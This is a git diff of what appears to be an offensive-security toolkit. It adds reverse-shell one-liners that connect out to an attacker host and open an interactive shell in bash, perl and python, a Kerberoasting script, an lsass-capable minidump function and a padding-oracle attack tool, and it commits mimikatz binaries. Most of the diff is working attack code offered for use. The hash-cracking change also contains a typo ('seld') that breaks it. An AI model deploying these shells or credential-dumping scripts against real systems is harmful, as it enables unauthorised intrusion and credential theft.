diff --git a/crack_hash.py b/crack_hash.py index 87322f4..706256a 100755 --- a/crack_hash.py +++ b/crack_hash.py @@ -63,6 +63,7 @@ class HashType(enum.Enum): # Windows LM = 3000 NTLM = 1000 + MSSQL = 1731 # Kerberos KERBEROS_AS_REQ = 7500 @@ -163,6 +164,9 @@ class Hash: self.type.append(HashType.RAW_SHA2_512) self.type.append(HashType.RAW_SHA3_512) self.type.append(HashType.RAW_KECCAK_256) + elif hash_len == 140: + if not self.isSalted: + seld.type.append(HashType.MSSQL) if len(self.type) == 0: print("%s: Unknown hash" % self.hash) @@ -216,6 +220,6 @@ if len(uncracked_hashes) > 0: fp.write(b"%s\n" % hash.hash.encode("UTF-8")) fp.flush() - proc = subprocess.Popen(["hashcat", "-m", str(selected_type.value), "-a", "0", fp.name, wordlist, "--force"]) + proc = subprocess.Popen(["hashcat", "-m", str(selected_type.value), "-a", "0", fp.name, wordlist]) proc.wait() fp.close() diff --git a/genRevShell.py b/genRevShell.py index e1760d2..1681b79 100755 --- a/genRevShell.py +++ b/genRevShell.py @@ -10,7 +10,8 @@ def generatePayload(type, local_address, port): if type == "bash": return "bash -i >& /dev/tcp/%s/%d 0>&1" % (local_address, port) elif type == "perl": - return "perl -e 'use Socket;$i=\"%s\";$p=%d;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/bash -i\");};'" % (local_address, port) + return "perl -e 'use Socket;$i=\"%s\";$p=%d;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/bash -i\");};'\n" \ + "perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,\"%s:%d\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'" % (local_address, port, local_address, port) elif type == "python" or type == "python2" or type == "python3": binary = type return "%s -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"%s\",%d));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);'" % (binary, local_address, port) diff --git a/padBuster.pl b/padBuster.pl index d3977d2..5be3e3d 100644 --- a/padBuster.pl +++ b/padBuster.pl @@ -6,9 +6,9 @@ # Credits to J.Rizzo and T.Duong for providing proof of concept web exploit # techniques and S.Vaudenay for initial discovery of the attack. Credits also # to James M. Martin (research@esptl.com) for sharing proof of concept exploit -# code for performing various brute force attack techniques, and wireghoul (Eldar -# Marcussen) for making code quality improvements. -# +# code for performing various brute force attack techniques, and wireghoul (Eldar +# Marcussen) for making code quality improvements. +# use LWP::UserAgent; use strict; @@ -69,15 +69,15 @@ GetOptions( "log" => \$logFiles, "ignorecontent" => \$ignoreContent, "usebody" => \$useBody, "verbose" => \$verbose); - + print "\n+-------------------------------------------+\n"; print "| PadBuster - v0.3.3 |\n"; print "| Brian Holyfield - Gotham Digital Science |\n"; print "| labs\@gdssecurity.com |\n"; print "+-------------------------------------------+\n"; -if ($#ARGV < 2) { - die " +if ($#ARGV < 2) { + die " Use: padBuster.pl URL EncryptedSample BlockSize [options] Where: URL = The target URL (and query string if applicable) @@ -86,8 +86,8 @@ if ($#ARGV < 2) { BlockSize = The block size being used by the algorithm Options: - -auth [username:password]: HTTP Basic Authentication - -bruteforce: Perform brute force against the first block + -auth [username:password]: HTTP Basic Authentication + -bruteforce: Perform brute force against the first block -ciphertext [Bytes]: CipherText for Intermediate Bytes (Hex-Encoded) -cookies [HTTP Cookies]: Cookies (name1=value1; name2=value2) -encoding [0-4]: Encoding Format of Sample (Default 0) @@ -100,17 +100,17 @@ Options: -intermediate [Bytes]: Intermediate Bytes for CipherText (Hex-Encoded) -log: Generate log files (creates folder PadBuster.DDMMYY) -noencode: Do not URL-encode the payload (encoded by default) - -noiv: Sample does not include IV (decrypt first block) + -noiv: Sample does not include IV (decrypt first block) -plaintext [String]: Plain-Text to Encrypt -post [Post Data]: HTTP Post Data String - -prefix [Prefix]: Prefix bytes to append to each sample (Encoded) + -prefix [Prefix]: Prefix bytes to append to each sample (Encoded) -proxy [address:port]: Use HTTP/S Proxy -proxyauth [username:password]: Proxy Authentication -resume [Block Number]: Resume at this block number -usebody: Use response body content for response analysis phase -verbose: Be Verbose -veryverbose: Be Very Verbose (Debug Only) - + ";} # Ok, if we've made it this far we are ready to begin.. @@ -143,11 +143,11 @@ my $dirExists = 0; my $printStats = 0; my $requestTracker = 0; my $timeTracker = 0; - + if ($encoding < 0 || $encoding > 4) { print "\nERROR: Encoding must be a value between 0 and 4\n"; exit(); -} +} my $encodingFormat = $encoding ? $encoding : 0; my $encryptedBytes = $sample; @@ -210,7 +210,7 @@ if (!$bruteForce && !$plainTextInput && $blockCount < 2) { my ($status, $content, $location, $contentLength) = &makeRequest($method, $url, $post, $cookie); &myPrint("\nINFO: The original request returned the following",0); -&myPrint("[+] Status: $status",0); +&myPrint("[+] Status: $status",0); &myPrint("[+] Location: $location",0); &myPrint("[+] Content Length: $contentLength\n",0); &myPrint("[+] Response: $content\n",1); @@ -220,12 +220,12 @@ $plainTextInput = &myDecode($encodedPlainTextInput,$encodingFormat) if $encodedP if ($bruteForce) { &myPrint("INFO: Starting PadBuster Brute Force Mode",0); my $bfAttempts = 0; - + print "INFO: Resuming previous brute force at attempt $resumeBlock\n" if $resumeBlock; - - # Only loop through the first 3 bytes...this should be enough as it + + # Only loop through the first 3 bytes...this should be enough as it # requires 16.5M+ requests - + my @bfSamples; my $sampleString = "\x00" x 2; for my $c (0 ... 255) { @@ -241,20 +241,20 @@ if ($bruteForce) { while ($complete == 0) { my $repeat = 0; for my $b (0 ... 255) { - $bfAttempts++; + $bfAttempts++; if ( $resumeBlock && ($bfAttempts < ($resumeBlock - ($resumeBlock % 256)+1)) ) { #SKIP } else { my $testBytes = chr($b).$testVal; $testBytes .= "\x00" x ($blockSize-3); - my $combinedBf = $testBytes; + my $combinedBf = $testBytes; $combinedBf .= $encryptedBytes; $combinedBf = &myEncode($combinedBf, $encoding); # Add the Query String to the URL - my ($testUrl, $testPost, $testCookies) = &prepRequest($url, $post, $cookie, $sample, $combinedBf); - + my ($testUrl, $testPost, $testCookies) = &prepRequest($url, $post, $cookie, $sample, $combinedBf); + # Issue the request my ($status, $content, $location, $contentLength) = &makeRequest($method, $testUrl, $testPost, $testCookies); @@ -283,64 +283,64 @@ if ($bruteForce) { } } ($repeat == 1) ? ($complete = 0) : ($complete = 1); - } - } + } + } } elsif ($plainTextInput) { # ENCRYPT MODE &myPrint("INFO: Starting PadBuster Encrypt Mode",0); - - # The block count will be the plaintext divided by blocksize (rounded up) + + # The block count will be the plaintext divided by blocksize (rounded up) my $blockCount = int(((length($plainTextInput)+1)/$blockSize)+0.99); &myPrint("[+] Number of Blocks: ".$blockCount."\n",0); - - my $padCount = ($blockSize * $blockCount) - length($plainTextInput); + + my $padCount = ($blockSize * $blockCount) - length($plainTextInput); $plainTextInput.= chr($padCount) x $padCount; - - # SampleBytes is the encrypted text you want to derive intermediate values for, so + + # SampleBytes is the encrypted text you want to derive intermediate values for, so # copy the current ciphertext block into sampleBytes # Note, nulls are used if not provided and the intermediate values are brute forced - + $forgedBytes = $cipherInput ? &myDecode($cipherInput,1) : "\x00" x $blockSize; my $sampleBytes = $forgedBytes; - - for (my $blockNum = $blockCount; $blockNum > 0; $blockNum--) { + + for (my $blockNum = $blockCount; $blockNum > 0; $blockNum--) { # IntermediaryBytes is where the intermediate bytes produced by the algorithm are stored my $intermediaryBytes; - + if ($intermediaryInput && $blockNum == $blockCount) { $intermediaryBytes = &myDecode($intermediaryInput,2); } else { $intermediaryBytes = &processBlock($sampleBytes); } - + # Now XOR the intermediate bytes with the corresponding bytes from the plain-text block # This will become the next ciphertext block (or IV if the last one) $sampleBytes = $intermediaryBytes ^ substr($plainTextInput, (($blockNum-1) * $blockSize), $blockSize); $forgedBytes = $sampleBytes.$forgedBytes; - + &myPrint("\nBlock ".($blockNum)." Results:",0); &myPrint("[+] New Cipher Text (HEX): ".&myEncode($sampleBytes,1),0); &myPrint("[+] Intermediate Bytes (HEX): ".&myEncode($intermediaryBytes,1)."\n",0); - + } $forgedBytes = &myEncode($forgedBytes, $encoding); chomp($forgedBytes); } else { # DECRYPT MODE &myPrint("INFO: Starting PadBuster Decrypt Mode",0); - + if ($resumeBlock) { &myPrint("INFO: Resuming previous exploit at Block $resumeBlock\n",0); } else { $resumeBlock = 1 } - - # Assume that the IV is included in our sample and that the first block is the IV - for (my $blockNum = ($resumeBlock+1); $blockNum <= $blockCount; $blockNum++) { + + # Assume that the IV is included in our sample and that the first block is the IV + for (my $blockNum = ($resumeBlock+1); $blockNum <= $blockCount; $blockNum++) { # Since the IV is the first block, our block count is artificially inflated by one &myPrint("*** Starting Block ".($blockNum-1)." of ".($blockCount-1)." ***\n",0); - - # SampleBytes is the encrypted text you want to break, so + + # SampleBytes is the encrypted text you want to break, so # lets copy the current ciphertext block into sampleBytes my $sampleBytes = substr($encryptedBytes, ($blockNum * $blockSize - $blockSize), $blockSize); @@ -348,7 +348,7 @@ if ($bruteForce) { my $intermediaryBytes = &processBlock($sampleBytes); # DecryptedBytes is where the decrypted block is stored - my $decryptedBytes; + my $decryptedBytes; # Now we XOR the decrypted byte with the corresponding byte from the previous block # (or IV if we are in the first block) to get the actual plain-text @@ -362,23 +362,23 @@ if ($bruteForce) { } } -&myPrint("-------------------------------------------------------",0); +&myPrint("-------------------------------------------------------",0); &myPrint("** Finished ***\n", 0); if ($plainTextInput) { &myPrint("[+] Encrypted value is: ".&uri_escape($forgedBytes),0); -} else { +} else { &myPrint("[+] Decrypted value (ASCII): $plainTextBytes\n",0); &myPrint("[+] Decrypted value (HEX): ".&myEncode($plainTextBytes,2)."\n", 0); &myPrint("[+] Decrypted value (Base64): ".&myEncode($plainTextBytes,0)."\n", 0); } -&myPrint("-------------------------------------------------------\n",0); +&myPrint("-------------------------------------------------------\n",0); -sub determineSignature { +sub determineSignature { # Help the user detect the oracle response if an error string was not provided - # This logic will automatically suggest the response pattern that occured most often + # This logic will automatically suggest the response pattern that occured most often # during the test as this is the most likeley one - my @sortedGuesses = sort {$oracleGuesses{$a} <=> $oracleGuesses{$b}} keys %oracleGuesses; + my @sortedGuesses = sort {$oracleGuesses{$a} <=> $oracleGuesses{$b}} keys %oracleGuesses; &myPrint("The following response signatures were returned:\n",0); &myPrint("-------------------------------------------------------",0); @@ -402,7 +402,7 @@ sub determineSignature { &writeFile("Response_Analysis_Signature_".$id.".txt", $responseFileBuffer{$_}); $id++; } - &myPrint("-------------------------------------------------------",0); + &myPrint("-------------------------------------------------------",0); if ($#sortedGuesses == 0 && !$bruteForce) { &myPrint("\nERROR: All of the responses were identical.\n",0); @@ -418,16 +418,16 @@ sub determineSignature { sub prepRequest { my ($pUrl, $pPost, $pCookie, $pSample, $pTestBytes) = @_; - # Prepare the request + # Prepare the request my $testUrl = $pUrl; my $wasSampleFound = 0; - + if ($pUrl =~ /$pSample/) { $testUrl =~ s/$pSample/$pTestBytes/; $wasSampleFound = 1; - } + } - my $testPost = ""; + my $testPost = ""; if ($pPost) { $testPost = $pPost; if ($pPost =~ /$pSample/) { @@ -453,34 +453,34 @@ sub prepRequest { } sub processBlock { - my ($sampleBytes) = @_; + my ($sampleBytes) = @_; my $analysisMode; - # Analysis mode is either 0 (response analysis) or 1 (exploit) + # Analysis mode is either 0 (response analysis) or 1 (exploit) $analysisMode = (!$error && $oracleSignature eq "") ? 0 : 1; - + # The return value of this subroutine is the intermediate text for the block my $returnValue; - + my $complete = 0; my $autoRetry = 0; my $hasHit = 0; - + while ($complete == 0) { # Reset the return value $returnValue = ""; - + my $repeat = 0; - + # TestBytes are the fake bytes that are pre-pending to the cipher test for the padding attack my $testBytes = "\x00" x $blockSize; - + my $falsePositiveDetector = 0; # Work on one byte at a time, starting with the last byte and moving backwards OUTERLOOP: for (my $byteNum = $blockSize - 1; $byteNum >= 0; $byteNum--) { INNERLOOP: - for (my $i = 255; $i >= 0; $i--) { + for (my $i = 255; $i >= 0; $i--) { # Fuzz the test byte substr($testBytes, $byteNum, 1, chr($i)); @@ -488,14 +488,14 @@ sub processBlock { my $combinedTestBytes = $testBytes.$sampleBytes; if ($prefix) { - $combinedTestBytes = &myDecode($prefix,$encodingFormat).$combinedTestBytes + $combinedTestBytes = &myDecode($prefix,$encodingFormat).$combinedTestBytes } - $combinedTestBytes = &myEncode($combinedTestBytes, $encodingFormat); + $combinedTestBytes = &myEncode($combinedTestBytes, $encodingFormat); chomp($combinedTestBytes); if (! $noEncodeOption) { - $combinedTestBytes = &uri_escape($combinedTestBytes); + $combinedTestBytes = &uri_escape($combinedTestBytes); } my ($testUrl, $testPost, $testCookies) = &prepRequest($url, $post, $cookie, $sample, $combinedTestBytes); @@ -504,18 +504,18 @@ sub processBlock { my ($status, $content, $location, $contentLength) = &makeRequest($method, $testUrl, $testPost, $testCookies); - + my $signatureData = "$status\t$contentLength\t$location"; $signatureData = "$status\t$contentLength\t$location\t$content" if $useBody; - - # If this is the first block and there is no padding error message defined, then cycle through + + # If this is the first block and there is no padding error message defined, then cycle through # all possible requests and let the user decide what the padding error behavior is. if ($analysisMode == 0) { &myPrint("INFO: No error string was provided...starting response analysis\n",0) if ($i == 255); $oracleGuesses{$signatureData}++; - + $responseFileBuffer{$signatureData} = "URL: $testUrl\nPost Data: $testPost\nCookies: $testCookies\n\nStatus: $status\nLocation: $location\nContent-Length: $contentLength\nContent:\n$content"; - + if ($byteNum == $blockSize - 1 && $i == 0) { &myPrint("*** Response Analysis Complete ***\n",0); &determineSignature(); @@ -535,7 +535,7 @@ sub processBlock { # If there was no padding error, then it worked &myPrint("[+] Success: (".abs($i-256)."/256) [Byte ".($byteNum+1)."]",0); &myPrint("[+] Test Byte:".&uri_escape(substr($testBytes, $byteNum, 1)),1); - + # If continually getting a hit on attempt zero, then something is probably wrong $falsePositiveDetector++ if ($i == 255); @@ -560,20 +560,20 @@ sub processBlock { $returnValue = $decryptedByte.$returnValue; &myPrint("[+] Decrypted Byte is: ".&uri_escape($decryptedByte),1); - # Finally, update the test bytes in preparation for the next round, based on the padding used + # Finally, update the test bytes in preparation for the next round, based on the padding used for (my $k = $byteNum; $k < $blockSize; $k++) { # First, XOR the current test byte with the padding value for this round to recover the decrypted byte - substr($testBytes, $k, 1,(substr($testBytes, $k, 1) ^ $currentPaddingByte)); + substr($testBytes, $k, 1,(substr($testBytes, $k, 1) ^ $currentPaddingByte)); # Then, XOR it again with the padding byte for the next round substr($testBytes, $k, 1,(substr($testBytes, $k, 1) ^ $nextPaddingByte)); } - last INNERLOOP; + last INNERLOOP; } } } - + ## TODO: Combine these two blocks? if ($i == 0 && $analysisMode == 1) { # End of the road with no success. We should probably try again. @@ -584,12 +584,12 @@ sub processBlock { &myPrint(" Automatically trying one more time...",0); $repeat = 1; last OUTERLOOP; - + } else { if (($byteNum == $blockSize - 1) && ($error)) { &myPrint("\nAre you sure you specified the correct error string?",0); &myPrint("Try re-running without the -e option to perform a response analysis.\n",0); - } + } $continue = &promptUser("Do you want to start this block over? (Yes/No)? [y/n/a]","",1); if ($continue ne "n") { @@ -597,9 +597,9 @@ sub processBlock { $interactive = 1; $repeat = 1; last OUTERLOOP; - } + } } - } + } if ($falsePositiveDetector == $blockSize) { &myPrint("\n*** ERROR: It appears there are false positive results. ***\n",0); &myPrint("HINT: The most likely cause for this is an incorrect error string.\n",0); @@ -618,7 +618,7 @@ sub processBlock { last OUTERLOOP; } } - } + } } ($repeat == 1) ? ($complete = 0) : ($complete = 1); } @@ -626,9 +626,9 @@ sub processBlock { } sub makeRequest { - - my ($method, $url, $data, $cookie) = @_; - my ($noConnect, $lwp, $status, $content, $req, $location, $contentLength); + + my ($method, $url, $data, $cookie) = @_; + my ($noConnect, $lwp, $status, $content, $req, $location, $contentLength); my $numRetries = 0; $data ='' unless $data; $cookie='' unless $cookie; @@ -637,23 +637,24 @@ sub makeRequest { do { #Quick hack to avoid hostname in URL when using a proxy with SSL (this will get re-set later if needed) $ENV{HTTPS_PROXY} = ""; - + $ENV{PERL_LWP_SSL_VERIFY_HOSTNAME} = 0; + $lwp = LWP::UserAgent->new(env_proxy => 1, keep_alive => 1, timeout => 30, requests_redirectable => [], ); - + $req = new HTTP::Request $method => $url; &myPrint("Request:\n$method\n$url\n$data\n$cookie",0) if $superVerbose; - - # Add request content for POST and PUTS + + # Add request content for POST and PUTS if ($data) { $req->content_type('application/x-www-form-urlencoded'); $req->content($data); } - + if ($proxy) { my $proxyUrl = "http://"; if ($proxyAuth) { @@ -665,7 +666,7 @@ sub makeRequest { $proxyUrl .= $proxy; $lwp->proxy(['http'], "http://".$proxy); $ENV{HTTPS_PROXY} = "http://".$proxy; - } + } if ($auth) { @@ -677,7 +678,7 @@ sub makeRequest { if (! $cookie eq "") { $req->header(Cookie => $cookie); } - + if ($headers) { my @customHeaders = split(/;/i,$headers); for (my $i = 0; $i <= $#customHeaders; $i++) { @@ -685,22 +686,22 @@ sub makeRequest { $req->header($headerName, $headerVal); } } - + my $startTime = &gettimeofday(); my $response = $lwp->request($req); - my $endTime = &gettimeofday(); + my $endTime = &gettimeofday(); $timeTracker = $timeTracker + ($endTime - $startTime); - + if ($printStats == 1 && $requestTracker % 250 == 0) { print "[+] $requestTracker Requests Issued (Avg Request Time: ".(sprintf "%.3f", $timeTracker/100).")\n"; $timeTracker = 0; } - - + + # Extract the required attributes from the response $status = substr($response->status_line, 0, 3); $content = $response->content; - + &myPrint("Response Content:\n$content",0) if $superVerbose; $location = $response->header("Location"); if (!$location) { @@ -708,8 +709,8 @@ sub makeRequest { } #$contentLength = $response->header("Content-Length"); $contentLength = length($content); - - + + my $contentEncoding = $response->header("Content-Encoding"); if ($contentEncoding) { if ($contentEncoding =~ /GZIP/i ) { @@ -717,10 +718,10 @@ sub makeRequest { $contentLength = length($content); } } - + my $statusMsg = $response->status_line; - #myPrint("Status: $statusMsg, Location: $location, Length: $contentLength",1); - + #myPrint("Status: $statusMsg, Location: $location, Length: $contentLength",1); + if ($statusMsg =~ /Can't connect/) { print "ERROR: $statusMsg\n Retrying in 10 seconds...\n\n"; $noConnect = 1; @@ -729,7 +730,7 @@ sub makeRequest { } else { $noConnect = 0; $totalRequests++; - } + } } until (($noConnect == 0) || ($numRetries >= 15)); if ($numRetries >= 15) { &myPrint("ERROR: Number of retries has exceeded 15 attempts...quitting.\n",0); @@ -737,7 +738,7 @@ sub makeRequest { } return ($status, $content, $location, $contentLength); } - + sub myPrint { my ($printData, $printLevel) = @_; $printData .= "\n"; @@ -783,24 +784,24 @@ sub encodeDecode { $returnVal = &web64Decode($toEncodeDecode,1); } else { $returnVal = &web64Encode($toEncodeDecode,1); - } + } } elsif ($format == 4) { # Web64 if ($oper == 1) { $returnVal = &web64Decode($toEncodeDecode,0); } else { $returnVal = &web64Encode($toEncodeDecode,0); - } + } } else { # B64 if ($oper == 1) { $returnVal = &decode_base64($toEncodeDecode); } else { $returnVal = &encode_base64($toEncodeDecode); - $returnVal =~ s/(\r|\n)//g; + $returnVal =~ s/(\r|\n)//g; } } - + return $returnVal; } @@ -836,7 +837,7 @@ sub promptUser { my $defaultValue = $default ? "[$default]" : ""; print "$prompt $defaultValue: "; chomp(my $input = ); - + $input = $input ? $input : $default; if ($yn) { if ($input =~ /^y|n|a$/) { @@ -867,7 +868,7 @@ sub writeFile { } } -sub getTime { +sub getTime { my ($format) = @_; my ($second, $minute, $hour, $day, $month, $year, $weekday, $dayofyear, $isDST) = localtime(time); my @months = ("JAN","FEB","MAR","APR","MAY","JUN","JUL","AUG","SEP","OCT","NOV","DEC"); @@ -886,4 +887,3 @@ sub getTime { return $hour.":".$minute.":".$second; } } - diff --git a/pspy b/pspy new file mode 100644 index 0000000..34624f6 Binary files /dev/null and b/pspy differ diff --git a/util.py b/util.py index f201d25..1838302 100755 --- a/util.py +++ b/util.py @@ -118,20 +118,28 @@ def exifImage(payload="", _in=None, _out=None, exif_t print("Invalid input. Either give an Image or a path to an image.") return + valid_tags = list(exif._constants.ATTRIBUTE_NAME_MAP.values()) if exif_tag is None: exif_tag = "image_description" + elif exif_tag == "all": + for exif_tag in valid_tags: + try: + _in[exif_tag] = payload + print("adding:", exif_tag) + except Exception as e: + pass else: - valid_tags = dir(_in) - if exif_tag not in valid_tags: print("Invalid exif-tag. Choose one of the following:") print(", ".join(valid_tags)) return - _in[exif_tag] = payload + _in[exif_tag] = payload + if _out is None: sys.stdout.write(_in.get_file()) sys.stdout.flush() + elif isinstance(_out, str): with open(_out, "wb") as f: f.write(_in.get_file()) diff --git a/win/GetUserSPNs.ps1 b/win/GetUserSPNs.ps1 new file mode 100644 index 0000000..ef3c51b --- /dev/null +++ b/win/GetUserSPNs.ps1 @@ -0,0 +1,129 @@ +# Edits by Tim Medin +# File: GetUserSPNS.ps1 +# Contents: Query the domain to find SPNs that use User accounts +# Comments: This is for use with Kerberoast https://github.com/nidem/kerberoast +# The password hash used with Computer accounts are infeasible to +# crack; however, if the User account associated with an SPN may have +# a crackable password. This tool will find those accounts. You do not +# need any special local or domain permissions to run this script. +# This script on a script supplied by Microsoft (details below). +# History: 2016/07/07 Tim Medin Add -UniqueAccounts parameter to only get unique SAMAccountNames +# 2016/04/12 Tim Medin Added -Request option to automatically get the tickets +# 2014/11/12 Tim Medin Created + +[CmdletBinding()] +Param( + [Parameter(Mandatory=$False,Position=1)] [string]$GCName, + [Parameter(Mandatory=$False)] [string]$Filter, + [Parameter(Mandatory=$False)] [switch]$Request, + [Parameter(Mandatory=$False)] [switch]$UniqueAccounts +) + +Add-Type -AssemblyName System.IdentityModel + +$GCs = @() + +If ($GCName) { + $GCs += $GCName +} else { # find them + $ForestInfo = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() + $CurrentGCs = $ForestInfo.FindAllGlobalCatalogs() + ForEach ($GC in $CurrentGCs) { + #$GCs += $GC.Name + $GCs += $ForestInfo.ApplicationPartitions[0].SecurityReferenceDomain + } +} + +if (-not $GCs) { + # no Global Catalogs Found + Write-Host "No Global Catalogs Found!" + Exit +} + +<# +Things you can extract +Name Value +---- ----- +admincount {1} +samaccountname {sqlengine} +useraccountcontrol {66048} +primarygroupid {513} +userprincipalname {sqlengine@medin.local} +instancetype {4} +displayname {sqlengine} +pwdlastset {130410454241766739} +memberof {CN=Domain Admins,CN=Users,DC=medin,DC=local} +samaccounttype {805306368} +serviceprincipalname {MSSQLSvc/sql01.medin.local:1433, MSSQLSvc/sql01.medin.local} +usnchanged {135252} +lastlogon {130563243107145358} +accountexpires {9223372036854775807} +logoncount {34} +adspath {LDAP://CN=sqlengine,CN=Users,DC=medin,DC=local} +distinguishedname {CN=sqlengine,CN=Users,DC=medin,DC=local} +badpwdcount {0} +codepage {0} +name {sqlengine} +whenchanged {9/22/2014 6:45:21 AM} +badpasswordtime {0} +dscorepropagationdata {4/4/2014 2:16:44 AM, 4/4/2014 12:58:27 AM, 4/4/2014 12:37:04 AM,... +lastlogontimestamp {130558419213902030} +lastlogoff {0} +objectclass {top, person, organizationalPerson, user} +countrycode {0} +cn {sqlengine} +whencreated {4/4/2014 12:37:04 AM} +objectsid {1 5 0 0 0 0 0 5 21 0 0 0 191 250 179 30 180 59 104 26 248 205 17... +objectguid {101 165 206 61 61 201 88 69 132 246 108 227 231 47 109 102} +objectcategory {CN=Person,CN=Schema,CN=Configuration,DC=medin,DC=local} +usncreated {57551} +#> + +ForEach ($GC in $GCs) { + $searcher = New-Object System.DirectoryServices.DirectorySearcher + $searcher.SearchRoot = "LDAP://" + $GC + $searcher.PageSize = 1000 + $searcher.Filter = "(&(!objectClass=computer)(servicePrincipalName=*))" + $searcher.PropertiesToLoad.Add("serviceprincipalname") | Out-Null + $searcher.PropertiesToLoad.Add("name") | Out-Null + $searcher.PropertiesToLoad.Add("samaccountname") | Out-Null + #$searcher.PropertiesToLoad.Add("userprincipalname") | Out-Null + #$searcher.PropertiesToLoad.Add("displayname") | Out-Null + $searcher.PropertiesToLoad.Add("memberof") | Out-Null + $searcher.PropertiesToLoad.Add("pwdlastset") | Out-Null + #$searcher.PropertiesToLoad.Add("distinguishedname") | Out-Null + + $searcher.SearchScope = "Subtree" + + $results = $searcher.FindAll() + + [System.Collections.ArrayList]$accounts = @() + + foreach ($result in $results) { + foreach ($spn in $result.Properties["serviceprincipalname"]) { + $o = Select-Object -InputObject $result -Property ` + @{Name="ServicePrincipalName"; Expression={$spn.ToString()} }, ` + @{Name="Name"; Expression={$result.Properties["name"][0].ToString()} }, ` + #@{Name="UserPrincipalName"; Expression={$result.Properties["userprincipalname"][0].ToString()} }, ` + @{Name="SAMAccountName"; Expression={$result.Properties["samaccountname"][0].ToString()} }, ` + #@{Name="DisplayName"; Expression={$result.Properties["displayname"][0].ToString()} }, ` + @{Name="MemberOf"; Expression={$result.Properties["memberof"][0].ToString()} }, ` + @{Name="PasswordLastSet"; Expression={[datetime]::fromFileTime($result.Properties["pwdlastset"][0])} } #, ` + #@{Name="DistinguishedName"; Expression={$result.Properties["distinguishedname"][0].ToString()} } + if ($UniqueAccounts) { + if (-not $accounts.Contains($result.Properties["samaccountname"][0].ToString())) { + $accounts.Add($result.Properties["samaccountname"][0].ToString()) | Out-Null + $o + if ($Request) { + New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $spn.ToString() | Out-Null + } + } + } else { + $o + if ($Request) { + New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $spn.ToString() | Out-Null + } + } + } + } +} diff --git a/win/Out-Minidump.ps1 b/win/Out-Minidump.ps1 new file mode 100644 index 0000000..a43ee0f --- /dev/null +++ b/win/Out-Minidump.ps1 @@ -0,0 +1,130 @@ +function Out-Minidump +{ +<# +.SYNOPSIS + + Generates a full-memory minidump of a process. + + PowerSploit Function: Out-Minidump + Author: Matthew Graeber (@mattifestation) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + +.DESCRIPTION + + Out-Minidump writes a process dump file with all process memory to disk. + This is similar to running procdump.exe with the '-ma' switch. + +.PARAMETER Process + + Specifies the process for which a dump will be generated. The process object + is obtained with Get-Process. + +.PARAMETER DumpFilePath + + Specifies the path where dump files will be written. By default, dump files + are written to the current working directory. Dump file names take following + form: processname_id.dmp + +.EXAMPLE + + Out-Minidump -Process (Get-Process -Id 4293) + + Description + ----------- + Generate a minidump for process ID 4293. + +.EXAMPLE + + Get-Process lsass | Out-Minidump + + Description + ----------- + Generate a minidump for the lsass process. Note: To dump lsass, you must be + running from an elevated prompt. + +.EXAMPLE + + Get-Process | Out-Minidump -DumpFilePath C:\temp + + Description + ----------- + Generate a minidump of all running processes and save them to C:\temp. + +.INPUTS + + System.Diagnostics.Process + + You can pipe a process object to Out-Minidump. + +.OUTPUTS + + System.IO.FileInfo + +.LINK + + http://www.exploit-monday.com/ +#> + + [CmdletBinding()] + Param ( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True)] + [System.Diagnostics.Process] + $Process, + + [Parameter(Position = 1)] + [ValidateScript({ Test-Path $_ })] + [String] + $DumpFilePath = $PWD + ) + + BEGIN + { + $WER = [PSObject].Assembly.GetType('System.Management.Automation.WindowsErrorReporting') + $WERNativeMethods = $WER.GetNestedType('NativeMethods', 'NonPublic') + $Flags = [Reflection.BindingFlags] 'NonPublic, Static' + $MiniDumpWriteDump = $WERNativeMethods.GetMethod('MiniDumpWriteDump', $Flags) + $MiniDumpWithFullMemory = [UInt32] 2 + } + + PROCESS + { + $ProcessId = $Process.Id + $ProcessName = $Process.Name + $ProcessHandle = $Process.Handle + $ProcessFileName = "$($ProcessName)_$($ProcessId).dmp" + + $ProcessDumpPath = Join-Path $DumpFilePath $ProcessFileName + + $FileStream = New-Object IO.FileStream($ProcessDumpPath, [IO.FileMode]::Create) + + $Result = $MiniDumpWriteDump.Invoke($null, @($ProcessHandle, + $ProcessId, + $FileStream.SafeFileHandle, + $MiniDumpWithFullMemory, + [IntPtr]::Zero, + [IntPtr]::Zero, + [IntPtr]::Zero)) + + $FileStream.Close() + + if (-not $Result) + { + $Exception = New-Object ComponentModel.Win32Exception + $ExceptionMessage = "$($Exception.Message) ($($ProcessName):$($ProcessId))" + + # Remove any partially written dump files. For example, a partial dump will be written + # in the case when 32-bit PowerShell tries to dump a 64-bit process. + Remove-Item $ProcessDumpPath -ErrorAction SilentlyContinue + + throw $ExceptionMessage + } + else + { + Get-ChildItem $ProcessDumpPath + } + } + + END {} +} diff --git a/win/SeatbeltNet4x64.exe b/win/SeatbeltNet4x64.exe new file mode 100644 index 0000000..309dfb0 Binary files /dev/null and b/win/SeatbeltNet4x64.exe differ diff --git a/win/mimidrv64.sys b/win/mimidrv64.sys new file mode 100644 index 0000000..94f6e0e Binary files /dev/null and b/win/mimidrv64.sys differ diff --git a/win/mimikatz.exe b/win/mimikatz.exe index c9949cb..b82c898 100644 Binary files a/win/mimikatz.exe and b/win/mimikatz.exe differ diff --git a/win/mimikatz64.exe b/win/mimikatz64.exe new file mode 100644 index 0000000..c9949cb Binary files /dev/null and b/win/mimikatz64.exe differ diff --git a/win/plink.exe b/win/plink.exe index c47376c..31d94e0 100644 Binary files a/win/plink.exe and b/win/plink.exe differ diff --git a/win/plink64.exe b/win/plink64.exe new file mode 100644 index 0000000..c47376c Binary files /dev/null and b/win/plink64.exe differ